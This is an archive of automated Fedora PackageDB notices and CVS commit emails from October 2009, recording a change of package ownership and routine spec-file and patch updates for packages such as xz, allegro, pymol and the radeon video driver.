mcepl has set the watchbugzilla acl on cycle (Fedora 12) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:04:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:04:05 +0000
Subject: [pkgdb] cycle had acl change status
Message-ID: <20091007060405.E837F10F894@bastion2.fedora.phx.redhat.com>

mcepl has set the watchcommits acl on cycle (Fedora 12) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:04:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:04:08 +0000
Subject: [pkgdb] cycle had acl change status
Message-ID: <20091007060408.7C2A910F844@bastion2.fedora.phx.redhat.com>

mcepl has set the commit acl on cycle (Fedora 12) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:04:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:04:10 +0000
Subject: [pkgdb] cycle had acl change status
Message-ID: <20091007060411.5513E10F894@bastion2.fedora.phx.redhat.com>

mcepl has set the approveacls acl on cycle (Fedora 12) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:04:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:04:20 +0000
Subject: [pkgdb] cycle ownership updated
Message-ID: <20091007060420.ED72610F892@bastion2.fedora.phx.redhat.com>

Package cycle in Fedora 12 is now owned by linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:04:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:04:22 +0000
Subject: [pkgdb] cycle ownership updated
Message-ID: <20091007060422.B137F10F8A1@bastion2.fedora.phx.redhat.com>

Package cycle in Fedora 11 is now owned by linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:04:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:04:34 +0000
Subject: [pkgdb] cycle ownership updated
Message-ID: <20091007060434.1232A10F84D@bastion2.fedora.phx.redhat.com>

Package cycle in Fedora 10 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:04:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:04:44 +0000
Subject: [pkgdb] cycle ownership updated
Message-ID: <20091007060444.18EBE10F88F@bastion2.fedora.phx.redhat.com>

Package cycle in Fedora 7 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:04:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:04:46 +0000
Subject: [pkgdb] cycle ownership updated
Message-ID: <20091007060445.EE3E910F894@bastion2.fedora.phx.redhat.com>

Package cycle in Fedora 5 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:04:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:04:47 +0000
Subject: [pkgdb] cycle ownership updated
Message-ID: <20091007060447.8E8C710F84D@bastion2.fedora.phx.redhat.com>

Package cycle in Fedora 6 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:04:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:04:51 +0000
Subject: [pkgdb] cycle ownership updated
Message-ID: <20091007060451.113F910F880@bastion2.fedora.phx.redhat.com>

Package cycle in Fedora 8 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:04:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:04:52 +0000
Subject: [pkgdb] cycle ownership updated
Message-ID: <20091007060452.9E68610F894@bastion2.fedora.phx.redhat.com>

Package cycle in Fedora 9 was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/cycle



From pkgdb at fedoraproject.org  Wed Oct  7 06:04:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 06:04:59 +0000
Subject: [pkgdb] cycle ownership updated
Message-ID: <20091007060459.3BF6310F880@bastion2.fedora.phx.redhat.com>

Package cycle in Fedora devel was orphaned by mcepl

To make changes to this package see:
  /pkgdb/packages/name/cycle



From jnovy at fedoraproject.org  Wed Oct  7 06:19:58 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed,  7 Oct 2009 06:19:58 +0000 (UTC)
Subject: rpms/xz/F-12 .cvsignore,1.6,1.7 sources,1.6,1.7 xz.spec,1.6,1.7
Message-ID: <20091007061958.B8AEA11C00E6@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/xz/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24424

Modified Files:
	.cvsignore sources xz.spec 
Log Message:
* Wed Oct 07 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091007.beta
- sync with upstream again



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xz/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	7 Oct 2009 05:38:32 -0000	1.6
+++ .cvsignore	7 Oct 2009 06:19:56 -0000	1.7
@@ -1 +1 @@
-xz-4.999.9beta.20091002git.tar.gz
+xz-4.999.9beta.20091007git.tar.xz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xz/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	7 Oct 2009 05:38:32 -0000	1.6
+++ sources	7 Oct 2009 06:19:57 -0000	1.7
@@ -1 +1 @@
-5831d58c3dfe600759e8232a1f192dc7  xz-4.999.9beta.20091002git.tar.gz
+8bd02e5301cb9631852a898d750111d9  xz-4.999.9beta.20091007git.tar.xz


Index: xz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xz/F-12/xz.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- xz.spec	7 Oct 2009 05:38:32 -0000	1.6
+++ xz.spec	7 Oct 2009 06:19:57 -0000	1.7
@@ -1,4 +1,4 @@
-%define git_date 20091002
+%define git_date 20091007
 
 Summary:	LZMA compression utilities
 Name:		xz
@@ -7,7 +7,7 @@ Release:	0.1.beta.%{git_date}git%{?dist}
 License:	LGPLv2+
 Group:		Applications/File
 # source created as "make dist" in checked out GIT tree
-Source0:	http://tukaani.org/%{name}/%{name}-%{version}beta.%{git_date}git.tar.gz
+Source0:	http://tukaani.org/%{name}/%{name}-%{version}beta.%{git_date}git.tar.xz
 URL:		http://tukaani.org/%{name}/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	%{name}-libs = %{version}-%{release}
@@ -106,7 +106,10 @@ rm -rf %{buildroot}
 %{_mandir}/man1/*
 
 %changelog
-* Wed Oct 07 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091002.beta
+* Wed Oct 07 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091007.beta
+- sync with upstream again
+
+* Fri Oct 02 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091002.beta
 - sync with upstream to generate the same archives on machines with different
   endianess
 



From than at fedoraproject.org  Wed Oct  7 06:24:10 2009
From: than at fedoraproject.org (Than Ngo)
Date: Wed,  7 Oct 2009 06:24:10 +0000 (UTC)
Subject: rpms/constantine-kde-theme/devel constantine-kde-theme.spec, 1.7,
	1.8
Message-ID: <20091007062410.F2D6811C00E6@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/constantine-kde-theme/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25954

Modified Files:
	constantine-kde-theme.spec 
Log Message:
fix deps



Index: constantine-kde-theme.spec
===================================================================
RCS file: /cvs/extras/rpms/constantine-kde-theme/devel/constantine-kde-theme.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- constantine-kde-theme.spec	1 Oct 2009 18:04:19 -0000	1.7
+++ constantine-kde-theme.spec	7 Oct 2009 06:24:09 -0000	1.8
@@ -1,6 +1,6 @@
 Name:		constantine-kde-theme
 Version:	12.0.0
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Constantine KDE Theme
 
 Group:		User Interface/Desktops
@@ -25,6 +25,13 @@ Provides:	system-kdm-theme = %{version}-
 Provides:	system-ksplash-theme = %{version}-%{release}
 %endif
 
+# replace it later for F13
+%if 0%{?fedora} > 12
+Provides:   system-kde-theme = %{version}-%{release}
+Provides:   system-kdm-theme = %{version}-%{release}
+Provides:   system-ksplash-theme = %{version}-%{release}
+%endif
+
 # replace it later for el6
 %if 0%{?rhel} == 6
 Provides:   system-kde-theme = %{version}-%{release}
@@ -109,6 +116,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 12.0.0-2
+- fix deps
+
 * Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> 12.0.0-1
 - fix deps, depend only on (newer) constantine-backgrounds-kde
 



From jnovy at fedoraproject.org  Wed Oct  7 06:24:53 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed,  7 Oct 2009 06:24:53 +0000 (UTC)
Subject: rpms/allegro/F-12 .cvsignore, 1.6, 1.7 allegro.spec, 1.56,
	1.57 sources, 1.6, 1.7 allegro-4.2.2-gcc43-asm.patch, 1.1,
	NONE allegro-4.2.2-gcc43.patch, 1.1,
	NONE allegro-4.2.2-pulseaudio.patch, 1.1, NONE
Message-ID: <20091007062453.C0C2C11C00E6@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/allegro/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26358

Modified Files:
	.cvsignore allegro.spec sources 
Removed Files:
	allegro-4.2.2-gcc43-asm.patch allegro-4.2.2-gcc43.patch 
	allegro-4.2.2-pulseaudio.patch 
Log Message:
* Wed Oct  7 2009 Jindrich Novy <jnovy at redhat.com> 4.2.3-1
- update to 4.2.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/allegro/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	22 Aug 2007 08:08:31 -0000	1.6
+++ .cvsignore	7 Oct 2009 06:24:53 -0000	1.7
@@ -1 +1 @@
-allegro-4.2.2.tar.gz
+allegro-4.2.3.tar.gz


Index: allegro.spec
===================================================================
RCS file: /cvs/pkgs/rpms/allegro/F-12/allegro.spec,v
retrieving revision 1.56
retrieving revision 1.57
diff -u -p -r1.56 -r1.57
--- allegro.spec	10 Sep 2009 20:45:59 -0000	1.56
+++ allegro.spec	7 Oct 2009 06:24:53 -0000	1.57
@@ -1,6 +1,6 @@
 Name:           allegro
-Version:        4.2.2
-Release:        14%{?dist}
+Version:        4.2.3
+Release:        1%{?dist}
 
 Summary:        A game programming library
 Summary(es):    Una libreria de programacion de juegos
@@ -18,10 +18,7 @@ Patch3:         allegro-4.2.0-noexecstac
 Patch4:         allegro-4.2.0-multilib.patch
 Patch5:         allegro-4.2.1-noexecmod.patch
 Patch6:         allegro-4.0.3-libdir.patch
-Patch7:         allegro-4.2.2-pulseaudio.patch
-Patch8:         allegro-4.2.2-gcc43.patch
-Patch9:         allegro-4.2.2-gcc43-asm.patch
-Patch10:        allegro-4.2.2-fullscreen-viewport.patch
+Patch7:         allegro-4.2.2-fullscreen-viewport.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  esound-devel, texinfo, perl, arts-devel, glib2-devel
 BuildRequires:  xorg-x11-proto-devel, libX11-devel, libXext-devel, libXt-devel
@@ -164,10 +161,7 @@ sound through JACK (Jack Audio Connectio
 %patch4 -p1 -z .multilib
 %patch5 -p1 -z .noexecmod
 %patch6 -p1 -z .multilib2
-%patch7 -p1 -z .pulse
-%patch8 -p1 -z .gcc43
-%patch9 -p1 -z .gcc43-asm
-%patch10 -p1 -z .fs-viewport
+%patch7 -p1 -z .fs-viewport
 iconv -f iso-8859-1 -t utf-8 docs/src/allegro._tx > docs/src/allegro._tx.tmp
 mv docs/src/allegro._tx.tmp docs/src/allegro._tx
 
@@ -296,6 +290,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Jindrich Novy <jnovy at redhat.com> 4.2.3-1
+- update to 4.2.3
+
 * Thu Sep 10 2009 Hans de Goede <hdegoede at redhat.com> 4.2.2-14
 - Fix (workaround) viewport issues in fullscreen mode (#522116)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/allegro/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	22 Aug 2007 08:08:31 -0000	1.6
+++ sources	7 Oct 2009 06:24:53 -0000	1.7
@@ -1 +1 @@
-87ffb1def034e0ec29a9ad4a595cda7e  allegro-4.2.2.tar.gz
+36d3e75052da03645039f7da407efca4  allegro-4.2.3.tar.gz


--- allegro-4.2.2-gcc43-asm.patch DELETED ---


--- allegro-4.2.2-gcc43.patch DELETED ---


--- allegro-4.2.2-pulseaudio.patch DELETED ---



From jnovy at fedoraproject.org  Wed Oct  7 06:32:12 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed,  7 Oct 2009 06:32:12 +0000 (UTC)
Subject: rpms/xz/F-11 .cvsignore,1.3,1.4 sources,1.3,1.4 xz.spec,1.2,1.3
Message-ID: <20091007063212.7951511C00E6@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/xz/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28309

Modified Files:
	.cvsignore sources xz.spec 
Log Message:
* Wed Oct 07 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091007.beta
- update to 4.999.9beta
- sync with upstream to generate the same archives on machines with different
  endianess



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xz/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	17 Aug 2009 11:16:31 -0000	1.3
+++ .cvsignore	7 Oct 2009 06:32:11 -0000	1.4
@@ -1 +1 @@
-xz-4.999.8beta.20090817git.tar.gz
+xz-4.999.9beta.20091007git.tar.xz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xz/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	17 Aug 2009 11:16:31 -0000	1.3
+++ sources	7 Oct 2009 06:32:12 -0000	1.4
@@ -1 +1 @@
-d0065a7471d2d069e2c56242c653f36a  xz-4.999.8beta.20090817git.tar.gz
+8bd02e5301cb9631852a898d750111d9  xz-4.999.9beta.20091007git.tar.xz


Index: xz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xz/F-11/xz.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- xz.spec	17 Aug 2009 11:16:31 -0000	1.2
+++ xz.spec	7 Oct 2009 06:32:12 -0000	1.3
@@ -1,13 +1,13 @@
-%define git_date 20090817
+%define git_date 20091007
 
 Summary:	LZMA compression utilities
 Name:		xz
-Version:	4.999.8
-Release:	0.8.beta.%{git_date}git%{?dist}
+Version:	4.999.9
+Release:	0.1.beta.%{git_date}git%{?dist}
 License:	LGPLv2+
 Group:		Applications/File
 # source created as "make dist" in checked out GIT tree
-Source0:	http://tukaani.org/%{name}/%{name}-%{version}beta.%{git_date}git.tar.gz
+Source0:	http://tukaani.org/%{name}/%{name}-%{version}beta.%{git_date}git.tar.xz
 URL:		http://tukaani.org/%{name}/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires:	%{name}-libs = %{version}-%{release}
@@ -54,7 +54,7 @@ The lzma-compat package contains compati
 commands that deal with the older LZMA format.
 
 %prep
-%setup -q  -n %{name}-%{version}beta
+%setup -q -n %{name}-%{version}beta
 
 %build
 CFLAGS="%{optflags} -D_FILE_OFFSET_BITS=64" \
@@ -106,6 +106,11 @@ rm -rf %{buildroot}
 %{_mandir}/man1/*
 
 %changelog
+* Wed Oct 07 2009 Jindrich Novy <jnovy at redhat.com> 4.999.9-0.1.20091007.beta
+- update to 4.999.9beta
+- sync with upstream to generate the same archives on machines with different
+  endianess
+
 * Mon Aug 17 2009 Jindrich Novy <jnovy at redhat.com> 4.999.8-0.8.beta.20090817git
 - update to latest GIT
 - fixes data corruption in encoder (#517806)



From timfenn at fedoraproject.org  Wed Oct  7 07:01:52 2009
From: timfenn at fedoraproject.org (Timothy Fenn)
Date: Wed,  7 Oct 2009 07:01:52 +0000 (UTC)
Subject: rpms/pymol/devel .cvsignore, 1.7, 1.8 pymol.spec, 1.13, 1.14 sources,
	1.7, 1.8
Message-ID: <20091007070152.CE32D11C00E6@cvs1.fedora.phx.redhat.com>

Author: timfenn

Update of /cvs/pkgs/rpms/pymol/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5471

Modified Files:
	.cvsignore pymol.spec sources 
Log Message:
* Tue Oct 06 2009 Tim Fenn <fenn at stanford.edu> - 1.2-8.20091006svn3866
- update to SVN 3866, 1.2r2




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pymol/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	10 Jul 2009 02:43:19 -0000	1.7
+++ .cvsignore	7 Oct 2009 07:01:50 -0000	1.8
@@ -1,2 +1,2 @@
-pymol-1.2-20090709svn3827.tar.gz
+pymol-1.2-20091006svn3866.tar.gz
 pymol-setup.py.patch


Index: pymol.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pymol/devel/pymol.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- pymol.spec	26 Jul 2009 19:54:23 -0000	1.13
+++ pymol.spec	7 Oct 2009 07:01:51 -0000	1.14
@@ -3,15 +3,15 @@
 Summary: PyMOL Molecular Graphics System
 Name: pymol
 Version: 1.2
-Release: 7.20090709svn3827%{?dist}
+Release: 8.20091006svn3866%{?dist}
 License: MIT and BSD and ZPLv2.0 and Bitstream Vera and OFL
 Group: Applications/Engineering
 URL: http://www.pymol.org
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
-#  svn co -r 3827 https://pymol.svn.sourceforge.net/svnroot/pymol/trunk/pymol pymol-1.2
-#  tar cvzf pymol-1.2-20090709svn3827.tar.gz pymol-1.2
-Source0: pymol-1.2-20090709svn3827.tar.gz
+#  svn co -r 3866 https://pymol.svn.sourceforge.net/svnroot/pymol/trunk/pymol pymol-1.2
+#  tar cvzf pymol-1.2-20091006svn3866.tar.gz pymol-1.2
+Source0: pymol-1.2-20091006svn3866.tar.gz
 # the source for this xpm pulled from:
 # https://launchpad.net/ubuntu/intrepid/+source/pymol/1.1~beta3-3/+files/pymol_1.1~beta3-3.diff.gz
 Source1: %{name}-32.xpm
@@ -107,6 +107,9 @@ rm -rf ${RPM_BUILD_ROOT}
 %{python_sitearch}/pmg_wx/
 
 %changelog
+* Tue Oct 06 2009 Tim Fenn <fenn at stanford.edu> - 1.2-8.20091006svn3866
+- update to SVN 3866, 1.2r2
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2-7.20090709svn3827
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pymol/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	10 Jul 2009 02:43:19 -0000	1.7
+++ sources	7 Oct 2009 07:01:51 -0000	1.8
@@ -1,2 +1,2 @@
-c320a86be41098dec93acd6a17ff637b  pymol-1.2-20090709svn3827.tar.gz
+2b912c7d3f28df5d65f3b0afa4b8b08c  pymol-1.2-20091006svn3866.tar.gz
 5d4c9a9de18416892f303f5c202f3198  pymol-setup.py.patch



From airlied at fedoraproject.org  Wed Oct  7 07:31:43 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Wed,  7 Oct 2009 07:31:43 +0000 (UTC)
Subject: rpms/xorg-x11-drv-ati/F-12 radeon-git.patch, NONE,
	1.1 xorg-x11-drv-ati.spec, 1.189, 1.190
Message-ID: <20091007073143.E57AF11C00E6@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/xorg-x11-drv-ati/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12792

Modified Files:
	xorg-x11-drv-ati.spec 
Added Files:
	radeon-git.patch 
Log Message:
* Wed Oct 07 2009 Dave Airlie <airlied at redhat.com> 6.13.0-0.8.20091006git457646d73
- fix rotate (#527000)


radeon-git.patch:
 drmmode_display.c |    2 +-
 legacy_output.c   |    4 ++--
 radeon_pm.c       |    8 ++++----
 3 files changed, 7 insertions(+), 7 deletions(-)

--- NEW FILE radeon-git.patch ---
diff --git a/src/drmmode_display.c b/src/drmmode_display.c
index f82dec8..a1ec2c2 100644
--- a/src/drmmode_display.c
+++ b/src/drmmode_display.c
@@ -449,7 +449,7 @@ drmmode_crtc_shadow_create(xf86CrtcPtr crtc, void *data, int width, int height)
 					       pScrn->depth,
 					       pScrn->bitsPerPixel,
 					       rotate_pitch,
-					       data);
+					       NULL);
 
 	if (rotate_pixmap == NULL) {
 		xf86DrvMsg(pScrn->scrnIndex, X_ERROR,
diff --git a/src/legacy_output.c b/src/legacy_output.c
index 73c86b9..186cd25 100644
--- a/src/legacy_output.c
+++ b/src/legacy_output.c
@@ -1521,7 +1521,7 @@ RADEONInitTvDacCntl(xf86OutputPtr output, RADEONSavePtr save)
 			       R420_TV_DAC_DACADJ_MASK |
 			       R420_TV_DAC_RDACPD |
 			       R420_TV_DAC_GDACPD |
-			       R420_TV_DAC_GDACPD |
+			       R420_TV_DAC_BDACPD |
 			       R420_TV_DAC_TVENABLE);
     } else {
 	save->tv_dac_cntl = info->SavedReg->tv_dac_cntl &
@@ -1530,7 +1530,7 @@ RADEONInitTvDacCntl(xf86OutputPtr output, RADEONSavePtr save)
 			       RADEON_TV_DAC_DACADJ_MASK |
 			       RADEON_TV_DAC_RDACPD |
 			       RADEON_TV_DAC_GDACPD |
-			       RADEON_TV_DAC_GDACPD);
+			       RADEON_TV_DAC_BDACPD);
     }
 
     save->tv_dac_cntl |= (RADEON_TV_DAC_NBLANK |
diff --git a/src/radeon_pm.c b/src/radeon_pm.c
index fe8f214..d5152c8 100644
--- a/src/radeon_pm.c
+++ b/src/radeon_pm.c
@@ -226,7 +226,7 @@ static void LegacySetClockGating(ScrnInfoPtr pScrn, Bool enable)
 			R300_PIXCLK_TRANS_ALWAYS_ONb      |
 			R300_PIXCLK_TVO_ALWAYS_ONb        |
 			R300_P2G2CLK_ALWAYS_ONb           |
-			R300_P2G2CLK_ALWAYS_ONb);
+			R300_P2G2CLK_DAC_ALWAYS_ONb);
 		OUTPLL(pScrn, RADEON_PIXCLKS_CNTL, tmp);
 	    } else if (info->ChipFamily >= CHIP_FAMILY_RV350) {
 		tmp = INPLL(pScrn, R300_SCLK_CNTL2);
@@ -273,7 +273,7 @@ static void LegacySetClockGating(ScrnInfoPtr pScrn, Bool enable)
 			R300_PIXCLK_TRANS_ALWAYS_ONb      |
 			R300_PIXCLK_TVO_ALWAYS_ONb        |
 			R300_P2G2CLK_ALWAYS_ONb           |
-			R300_P2G2CLK_ALWAYS_ONb);
+			R300_P2G2CLK_DAC_ALWAYS_ONb);
 		OUTPLL(pScrn, RADEON_PIXCLKS_CNTL, tmp);
 
 		tmp = INPLL(pScrn, RADEON_MCLK_MISC);
@@ -454,8 +454,8 @@ static void LegacySetClockGating(ScrnInfoPtr pScrn, Bool enable)
 		     RADEON_PIXCLK_TMDS_ALWAYS_ONb     |
 		     R300_PIXCLK_TRANS_ALWAYS_ONb      |
 		     R300_PIXCLK_TVO_ALWAYS_ONb        |
-		     R300_P2G2CLK_ALWAYS_ONb            |
 		     R300_P2G2CLK_ALWAYS_ONb           |
+		     R300_P2G2CLK_DAC_ALWAYS_ONb       |
 		     R300_DISP_DAC_PIXCLK_DAC2_BLANK_OFF);
 	    OUTPLL(pScrn, RADEON_PIXCLKS_CNTL, tmp);
 	} else if (info->ChipFamily >= CHIP_FAMILY_RV350) {
@@ -507,8 +507,8 @@ static void LegacySetClockGating(ScrnInfoPtr pScrn, Bool enable)
 		     RADEON_PIXCLK_TMDS_ALWAYS_ONb     |
 		     R300_PIXCLK_TRANS_ALWAYS_ONb      |
 		     R300_PIXCLK_TVO_ALWAYS_ONb        |
-		     R300_P2G2CLK_ALWAYS_ONb            |
 		     R300_P2G2CLK_ALWAYS_ONb           |
+		     R300_P2G2CLK_DAC_ALWAYS_ONb       |
 		     R300_DISP_DAC_PIXCLK_DAC2_BLANK_OFF);
 	    OUTPLL(pScrn, RADEON_PIXCLKS_CNTL, tmp);
 	}  else {


Index: xorg-x11-drv-ati.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-ati/F-12/xorg-x11-drv-ati.spec,v
retrieving revision 1.189
retrieving revision 1.190
diff -u -p -r1.189 -r1.190
--- xorg-x11-drv-ati.spec	5 Oct 2009 21:48:03 -0000	1.189
+++ xorg-x11-drv-ati.spec	7 Oct 2009 07:31:42 -0000	1.190
@@ -7,7 +7,7 @@
 Summary:   Xorg X11 ati video driver
 Name:      xorg-x11-drv-ati
 Version:   6.13.0
-Release:   0.7.%{gitdate}git%{gitversion}%{?dist}
+Release:   0.8.%{gitdate}git%{gitversion}%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
@@ -18,6 +18,7 @@ Source0: %{tarball}-%{gitdate}.tar.xz
 # unlike the other drivers, radeon.xinf is generated
 Source1:    mkxinf
 
+Patch1:	    radeon-git.patch
 Patch6:     radeon-6.9.0-bgnr-enable.patch
 Patch10:    radeon-6.12.2-lvds-default-modes.patch
 Patch13:    fix-default-modes.patch
@@ -45,6 +46,7 @@ X.Org X11 ati video driver.
 
 %prep
 %setup -q -n %{tarball}-%{gitdate}
+%patch1 -p1 -b .git
 %patch6 -p1 -b .bgnr
 %patch10 -p1 -b .lvds
 %patch13 -p1 -b .def
@@ -82,6 +84,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man4/radeon.4*
 
 %changelog
+* Wed Oct 07 2009 Dave Airlie <airlied at redhat.com> 6.13.0-0.8.20091006git457646d73
+- fix rotate (#527000)
+
 * Tue Oct 06 2009 Dave Airlie <airlied at redhat.com> 6.13.0-0.7.20091006git457646d73
 - resnapshot with VT switch fixes and mixed issue was in server which is fixed
 



From than at fedoraproject.org  Wed Oct  7 07:41:24 2009
From: than at fedoraproject.org (Than Ngo)
Date: Wed,  7 Oct 2009 07:41:24 +0000 (UTC)
Subject: rpms/kdegames/devel kdegames-4.3.2-trademarks.patch,1.1,1.2
Message-ID: <20091007074124.E6FD011C00E6@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdegames/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15443

Modified Files:
	kdegames-4.3.2-trademarks.patch 
Log Message:
typo


kdegames-4.3.2-trademarks.patch:
 kdegames-4.3.1-trademarks/README                        |   12 +-
 kdegames-4.3.1-trademarks/doc/kbattleship/index.docbook |   37 +++---
 kdegames-4.3.1-trademarks/doc/ktron/index.docbook       |   11 +-
 kdegames-4.3.1-trademarks/kbattleship/src/main.cpp      |    4 
 kdegames-4.3.1-trademarks/ktron/main.cpp                |    5 
 kdegames-4.3.1-trademarks/ktron/player.cpp              |    2 
 kdegames-4.3.2/kbattleship/src/kbattleship.desktop      |   88 +++++++---------
 kdegames-4.3.2/kbattleship/src/kbattleship.protocol     |   56 +++++-----
 kdegames-4.3.2/ktron/ktron.desktop                      |   85 +--------------
 9 files changed, 118 insertions(+), 182 deletions(-)

Index: kdegames-4.3.2-trademarks.patch
===================================================================
RCS file: /cvs/extras/rpms/kdegames/devel/kdegames-4.3.2-trademarks.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- kdegames-4.3.2-trademarks.patch	5 Oct 2009 11:56:47 -0000	1.1
+++ kdegames-4.3.2-trademarks.patch	7 Oct 2009 07:41:24 -0000	1.2
@@ -496,11 +496,11 @@ diff -up kdegames-4.3.2/ktron/ktron.desk
 -GenericName[x-test]=xxTron-like Gamexx
 -GenericName[zh_CN]=?? Tron ???
 -GenericName[zh_TW]=?? Tron ??
-++GenericName=Snake Duel Game
-++GenericName[de]=Schlangenduell-Spiel
-++GenericName[fr]=Jeu de duel de serpents
-++GenericName[it]=Gioco di duello di serpenti
